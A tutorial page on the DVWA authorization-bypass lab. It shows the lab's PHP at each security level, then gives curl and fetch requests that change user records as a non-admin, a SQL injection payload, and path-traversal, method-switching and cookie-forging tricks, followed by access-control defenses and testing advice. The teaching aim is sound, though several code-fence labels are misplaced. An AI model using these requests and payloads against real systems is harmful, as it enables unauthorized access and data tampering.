Skip to main content

Authorization Bypass

Authorization bypass vulnerabilities occur when applications fail to properly enforce access controls, allowing users to access resources or perform actions they shouldn’t be authorized to perform. This is distinct from authentication bypass (breaking login mechanisms) - authorization bypass assumes the user is already authenticated but gains unauthorized access.

What is Authorization Bypass?

Authorization controls determine what authenticated users are allowed to do and what data they can access. When these controls are missing, improperly implemented, or can be circumvented, attackers can:
  • Access other users’ data (horizontal privilege escalation)
  • Perform administrative functions (vertical privilege escalation)
  • Modify protected resources
  • Bypass business logic restrictions

Types of Authorization Issues

  1. Horizontal Privilege Escalation: Accessing resources of other users at the same privilege level
    • Example: User A viewing User B’s profile or orders
  2. Vertical Privilege Escalation: Gaining higher privileges than assigned
    • Example: Regular user accessing admin functions
  3. Context-Dependent Access Control: Bypassing workflow or state-based restrictions
    • Example: Approving your own expense report

How the Attack Works

The DVWA Authorization Bypass module simulates a user management system that should only be accessible to administrators. The challenge is to access and modify user data while logged in as a regular user (e.g., gordonb / abc123).

Application Structure

The module consists of three main components:
  1. Main Page (index.php): Displays the user interface
  2. Data Retrieval (get_user_data.php): API endpoint that returns user information
  3. Data Modification (change_user_details.php): API endpoint that updates user data

Frontend Implementation

The interface uses JavaScript to fetch and display user data:
function populate_form() {
    fetch('get_user_data.php')
        .then(response => response.json())
        .then(users => {
            users.forEach(user => {
                // Display user in table
                // Add edit functionality
            });
        });
}
```bash

## Security Level Breakdown

### Low Security

**Vulnerability**: No access control checks on the main page.

```php
<?php
/*
Nothing to see here for this vulnerability, have a look
instead at the dvwaHtmlEcho function in:

* dvwa/includes/dvwaPage.inc.php
*/
?>
The page content is rendered without any authorization checks. Non-admin users don’t see the menu option, but they can directly access the URL. API Endpoints (both unprotected):
// get_user_data.php - Returns all users without checks
$query  = "SELECT user_id, first_name, last_name FROM users";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

while ($row = mysqli_fetch_row($result)) { 
    $user_id = $row[0];
    $first_name = $row[1];
    $surname = $row[2];
    
    $user = array (
        "user_id" => $user_id,
        "first_name" => $first_name,
        "surname" => $surname
    );
    $users[] = $user;
}

print json_encode ($users);
```text

**Exploitation**:

1. **Direct URL Access**:
http://target/vulnerabilities/authbypass/
   Simply navigate directly to the page, bypassing the missing menu link.

2. **API Access**:
http://target/vulnerabilities/authbypass/get_user_data.php
   Returns full user list as JSON.

3. **Modify User Data**:
   ```javascript
   fetch('change_user_details.php', {
       method: 'POST',
       headers: {'Content-Type': 'application/json'},
       body: JSON.stringify({
           id: 1,
           first_name: "Hacked",
           surname: "User"
       })
   });
Weaknesses:
  • No authorization checks whatsoever
  • “Security through obscurity” (hiding menu link)
  • APIs completely open
  • No role-based access control (RBAC)

Medium Security

Improvement: Added authorization check on main page only. Main Page (medium.php):
<?php
/*
Only the admin user is allowed to access this page.

Have a look at these two files for possible vulnerabilities: 

* vulnerabilities/authbypass/get_user_data.php
* vulnerabilities/authbypass/change_user_details.php
*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>
```sql

**API Protection** (partial):
```php
// get_user_data.php - Still unprotected!
$query  = "SELECT user_id, first_name, last_name FROM users";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
// ... returns all users
The change_user_details.php endpoint also remains unprotected. Exploitation: While the main page now blocks non-admin access, the underlying APIs don’t:
  1. Direct API Access:
    curl http://target/vulnerabilities/authbypass/get_user_data.php
    
   Returns: `[{"user_id":"1","first_name":"admin","surname":"admin"}...]`

2. **Modify Data via API**:
   ```bash
   curl -X POST http://target/vulnerabilities/authbypass/change_user_details.php \
     -H "Content-Type: application/json" \
     -d '{"id":1,"first_name":"Pwned","surname":"Admin"}'
Returns: {"result":"ok"} Weaknesses:
  • Inconsistent authorization (page protected, APIs not)
  • Client-side vs server-side security gap
  • Missing defense in depth
  • No authorization on data modification

High Security

Improvement: Protected both page and GET API endpoint. Main Page (high.php):
<?php
if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>
```sql

**Data Retrieval** (`get_user_data.php`):
```php
<?php
/*
On high and impossible, only the admin is allowed to retrieve the data.
*/
if ((dvwaSecurityLevelGet() == "high" || dvwaSecurityLevelGet() == "impossible") 
    && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}

$query  = "SELECT user_id, first_name, last_name FROM users";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );
// ... process results
?>
Data Modification (change_user_details.php) - STILL UNPROTECTED:
<?php
if ($_SERVER['REQUEST_METHOD'] != "POST") {
    $result = array (
        "result" => "fail",
        "error" => "Only POST requests are accepted"
    );
    echo json_encode($result);
    exit;
}

// NO AUTHORIZATION CHECK!

$json = file_get_contents('php://input');
$data = json_decode($json);

$query = "UPDATE users SET first_name = '" . $data->first_name . "', 
          last_name = '" .  $data->surname . "' 
          where user_id = " . $data->id . "";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

print json_encode (array ("result" => "ok"));
?>
```javascript

**Exploitation**:

The modification endpoint has no authorization checks:

```javascript
// From browser console (while logged in as gordonb)
fetch('/vulnerabilities/authbypass/change_user_details.php', {
    method: 'POST',
    headers: {
        'Accept': 'application/json',
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        'id': 1, 
        "first_name": "Harry", 
        "surname": "Hacker"
    })
})
.then((response) => response.json())
.then((data) => console.log(data));
// Output: {"result":"ok"}
Additional Vulnerability - SQL Injection:
// No parameterization!
$query = "UPDATE users SET first_name = '" . $data->first_name . "'...";
```text

Payload:
```json
{
    "id": 1,
    "first_name": "admin' WHERE user_id=1; --",
    "surname": "test"
}
Weaknesses:
  • Incomplete authorization coverage
  • Forgot to protect write operations
  • SQL injection vulnerability
  • No input validation
  • No output encoding

Impossible Security

Improvement: Comprehensive authorization on all endpoints. Main Page (impossible.php):
<?php
if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>
```bash

**Data Retrieval** (`get_user_data.php`):
```php
<?php
if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}

while ($row = mysqli_fetch_row($result)) { 
    if( dvwaSecurityLevelGet() == 'impossible' ) { 
        // Output encoding
        $user_id = $row[0];
        $first_name = htmlspecialchars( $row[1] );
        $surname = htmlspecialchars( $row[2] );
    }
    // ...
}
?>
Data Modification (change_user_details.php):
<?php
/*
On impossible only the admin is allowed to retrieve the data.
*/
if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}

if ($_SERVER['REQUEST_METHOD'] != "POST") {
    $result = array (
        "result" => "fail",
        "error" => "Only POST requests are accepted"
    );
    echo json_encode($result);
    exit;
}

// ... process request
?>
```http

**Security Features**:
- Authorization checks on ALL endpoints
- Method validation (POST only for modifications)
- Output encoding with `htmlspecialchars()`
- Consistent security policy across all operations
- Proper error handling

**Remaining Issues**:
- Still has SQL injection vulnerability (not using prepared statements in update)
- Could implement more granular RBAC
- No audit logging
- No CSRF protection

## Common Authorization Bypass Techniques

### 1. Direct Object Reference

```http
GET /api/user/123/profile
Change ID to access other users:
GET /api/user/124/profile
```http

### 2. Parameter Tampering

```http
POST /updateProfile
user_id=123&role=user
Modify role:
POST /updateProfile
user_id=123&role=admin
```http

### 3. Path Traversal

```http
GET /files/user123/document.pdf
Access other directories:
GET /files/../admin/secret.pdf
```http

### 4. HTTP Method Tampering

```http
GET /api/users  # Protected
Try different methods:
HEAD /api/users  # May be unprotected
POST /api/users  # May bypass checks
```bash

### 5. Cookie/Header Manipulation

```javascript
// Modify cookies
document.cookie = "role=admin";
document.cookie = "isAdmin=true";

6. API vs UI Inconsistency

UI protected, API unprotected:
# UI blocks access, but API allows it
curl http://target/api/admin/users
```bash

## Proper Access Control Implementation

### 1. Centralized Authorization

```php
class AuthorizationManager {
    public function checkAccess($user, $resource, $action) {
        // Centralized access control logic
        $role = $user->getRole();
        $permissions = $this->getRolePermissions($role);
        
        return $this->hasPermission($permissions, $resource, $action);
    }
    
    private function hasPermission($permissions, $resource, $action) {
        foreach ($permissions as $permission) {
            if ($permission->resource === $resource && 
                $permission->action === $action) {
                return true;
            }
        }
        return false;
    }
}

// Usage
if (!$authz->checkAccess($currentUser, 'user_data', 'read')) {
    http_response_code(403);
    die(json_encode(['error' => 'Access denied']));
}

2. Role-Based Access Control (RBAC)

class RBAC {
    private $roles = [
        'admin' => ['users.read', 'users.write', 'users.delete'],
        'user' => ['profile.read', 'profile.write'],
        'guest' => ['public.read']
    ];
    
    public function hasPermission($role, $permission) {
        return in_array($permission, $this->roles[$role] ?? []);
    }
}

// Check permission
if (!$rbac->hasPermission($user->role, 'users.write')) {
    throw new UnauthorizedException();
}
```bash

### 3. Resource Ownership Validation

```php
function canAccessResource($userId, $resourceId) {
    $resource = getResource($resourceId);
    
    // Check ownership
    if ($resource->owner_id !== $userId) {
        // Check if user is admin
        if (!isAdmin($userId)) {
            return false;
        }
    }
    
    return true;
}

// Usage
if (!canAccessResource($currentUser->id, $_GET['resource_id'])) {
    http_response_code(403);
    die('Access denied');
}

4. Attribute-Based Access Control (ABAC)

function evaluatePolicy($subject, $resource, $action, $environment) {
    // Subject attributes
    $userRole = $subject['role'];
    $userDept = $subject['department'];
    
    // Resource attributes
    $resourceOwner = $resource['owner'];
    $resourceDept = $resource['department'];
    $classification = $resource['classification'];
    
    // Environment attributes
    $time = $environment['time'];
    $ipAddress = $environment['ip'];
    
    // Complex policy evaluation
    if ($action === 'read') {
        // Can read own resources
        if ($resourceOwner === $subject['id']) return true;
        
        // Can read department resources if same dept
        if ($userDept === $resourceDept && $classification !== 'confidential') {
            return true;
        }
        
        // Admins can read all
        if ($userRole === 'admin') return true;
    }
    
    return false;
}
```bash

### 5. Defense in Depth

```php
// Layer 1: Authentication
if (!isAuthenticated()) {
    http_response_code(401);
    die('Authentication required');
}

// Layer 2: Session validation
if (!isValidSession()) {
    http_response_code(401);
    die('Invalid session');
}

// Layer 3: CSRF protection
if (!validateCSRFToken()) {
    http_response_code(403);
    die('Invalid token');
}

// Layer 4: Authorization
if (!hasPermission($user, $resource, $action)) {
    http_response_code(403);
    logSecurityEvent('unauthorized_access_attempt', $user, $resource);
    die('Access denied');
}

// Layer 5: Input validation
if (!validateInput($_POST['data'])) {
    http_response_code(400);
    die('Invalid input');
}

// Layer 6: Resource ownership
if (!ownsResource($user->id, $resourceId)) {
    if (!isAdmin($user)) {
        http_response_code(403);
        die('Access denied');
    }
}

// Process request

Testing for Authorization Bypass

Manual Testing Checklist

  1. Test with different user roles
    • Create accounts with different privilege levels
    • Test each function with each role
    • Verify appropriate access restrictions
  2. Direct object reference testing
    • Access resources with sequential IDs
    • Try accessing other users’ resources
    • Test with modified parameters
  3. Parameter manipulation
    • Modify user IDs, role parameters
    • Add admin parameters
    • Change resource identifiers
  4. API endpoint discovery
    • Map all API endpoints
    • Test authorization on each
    • Check for consistency with UI restrictions
  5. HTTP method testing
    • Try GET, POST, PUT, DELETE, PATCH
    • Test HEAD, OPTIONS, TRACE
    • Check for method-specific bypasses

Automated Testing

Burp Suite:
  1. Use “Autorize” extension
  2. Configure low-privilege user token
  3. Proxy high-privilege requests
  4. Automatically checks if low-privilege user can access
OWASP ZAP:
  1. Enable “Access Control Testing” add-on
  2. Configure user contexts
  3. Run active scan with different users
  4. Review access control findings
Custom Script:
import requests

# Test with different user sessions
admin_cookies = {'PHPSESSID': 'admin_session_id'}
user_cookies = {'PHPSESSID': 'user_session_id'}

endpoints = [
    '/api/users',
    '/api/admin/settings',
    '/api/user/1/profile',
    '/admin/dashboard'
]

for endpoint in endpoints:
    # Test with regular user
    response = requests.get(f"http://target{endpoint}", cookies=user_cookies)
    
    if response.status_code == 200:
        print(f"[!] Authorization bypass: {endpoint}")
        print(f"    User can access admin endpoint!")
    elif response.status_code == 403:
        print(f"[+] Properly protected: {endpoint}")
```sql

## Best Practices Summary

1. **Deny by default**: Require explicit authorization grants
2. **Centralize authorization logic**: Don't scatter checks throughout code
3. **Check on every request**: Never assume authorization persists
4. **Validate on server-side**: Never trust client-side checks
5. **Use established frameworks**: Don't roll your own access control
6. **Apply defense in depth**: Multiple layers of authorization
7. **Verify resource ownership**: Check both role AND ownership
8. **Log authorization failures**: Detect attack patterns
9. **Use least privilege**: Grant minimum necessary permissions
10. **Test thoroughly**: Verify authorization with different roles
11. **Implement RBAC or ABAC**: Use proven access control models
12. **Protect ALL endpoints**: APIs, UI, webhooks, etc.

## Real-World Examples

### Facebook Graph API (2013)
Attackers could modify photo album IDs to access private photos of other users due to missing authorization checks.

### Uber Admin Panel (2016)
Insecure direct object reference allowed access to admin functionality by manipulating rider IDs.

### Instagram (2019)
Horizontal privilege escalation allowed users to delete any photo by changing the media ID parameter.

## References

- [OWASP Top 10 2021 - A01 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
- [OWASP Authorization Testing Guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/02-Testing_for_Bypassing_Authorization_Schema)
- [OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)
- [CWE-639: Authorization Bypass](https://cwe.mitre.org/data/definitions/639.html)

Build docs developers (and LLMs) love